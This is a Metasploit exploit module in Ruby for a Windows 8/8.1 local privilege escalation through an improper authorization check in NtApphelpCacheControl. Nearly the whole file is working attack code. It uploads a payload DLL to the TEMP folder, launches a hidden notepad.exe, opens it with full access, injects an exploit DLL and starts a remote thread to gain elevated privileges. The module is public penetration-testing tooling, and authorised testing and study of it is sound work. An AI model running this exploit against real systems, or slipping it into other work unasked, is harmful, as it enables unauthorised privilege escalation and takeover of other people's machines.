metasploit-framework/modules/exploits/windows/local/ntapphelpcachecontrol.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
class Metasploit3 < Msf::Exploit::Local
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Rank = NormalRanking
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include Exploit::EXE
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include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'Windows NtApphelpCacheControl Improper Authorization Check',
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'Description' => %q{
On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)
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allows application compatibility data to be cached for quick reuse when new processes are
created. A normal user can query the cache but cannot add new cached entries as the
operation is restricted to administrators. This is checked in the function
AhcVerifyAdminContext.
This function has a vulnerability where it doesn't correctly check the impersonation token
of the caller to determine if the user is an administrator. It reads the caller's
impersonation token using PsReferenceImpersonationToken and then does a comparison between
the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level
of the token so it's possible to get an identify token on your thread from a local system
process and bypass this check.
This module currently only affects Windows 8 and Windows 8.1, and requires access to
C:\Windows\System\ComputerDefaults.exe (although this can be improved).
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},
'License' => MSF_LICENSE,
'Author' =>
[
'James Forshaw',
'sinn3r'
],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
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'Arch' => [ARCH_X86, ARCH_X86_64],
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'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
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[ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ]
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],
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'DefaultTarget' => 0,
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'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'OSVEB', '116497' ],
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[ 'EDB', '35661' ],
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[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118']
],
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'DisclosureDate' => 'Sep 30 2014'
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}))
end
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def temp
@temp ||= get_env('TEMP').to_s
end
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def payload_filepath
@payload_filepath ||= "#{temp}\\#{Rex::Text.rand_text_alpha(6)}.dll"
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end
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def upload_payload_dll(payload_filepath)
payload = generate_payload_dll({:dll_exitprocess => true})
begin
write_file(payload_filepath, payload)
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(
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Failure::Unknown,
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"Error uploading file #{payload_filepath}: #{e.class} #{e}"
)
end
end
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def upload_payload
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print_status("Payload DLL will be: #{payload_filepath}")
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# Upload the payload
upload_payload_dll(payload_filepath)
if !file?(payload_filepath)
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fail_with(Failure::Unknown, "Failed to save the payload DLL, or got removed. No idea why.")
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end
end
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def inject_exploit(process)
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lib_file_path = ::File.join(
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Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", 'exploit.dll'
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)
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print_status("Creating thread")
exploit_mem, offset = inject_dll_into_process(process, lib_file_path)
var_mem = inject_into_process(process, payload_filepath)
process.thread.create(exploit_mem + offset, var_mem)
end
def prep_exploit_host
process = nil
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
rescue Rex::Post::Meterpreter::RequestError
process = client.sys.process.open
rescue ::Exception => e
elog("#{e.message}\nCall stack:\n#{e.backtrace.join("\n")}")
end
process
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end
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def check
if sysinfo['OS'] =~ /Windows 8/
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# Still an 0day, but since this check doesn't actually trigger the vulnerability
# so we should only flag this as CheckCode::Appears
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return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
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def exploit
print_status("Uploading the payload DLL")
upload_payload
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proc = prep_exploit_host
if !proc
fail_with(Failure::Unknown, "Fail to get a notepad.exe to run (to host the exploit)")
end
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print_status("Injecting exploit into PID #{proc.pid}")
inject_exploit(proc)
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end
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end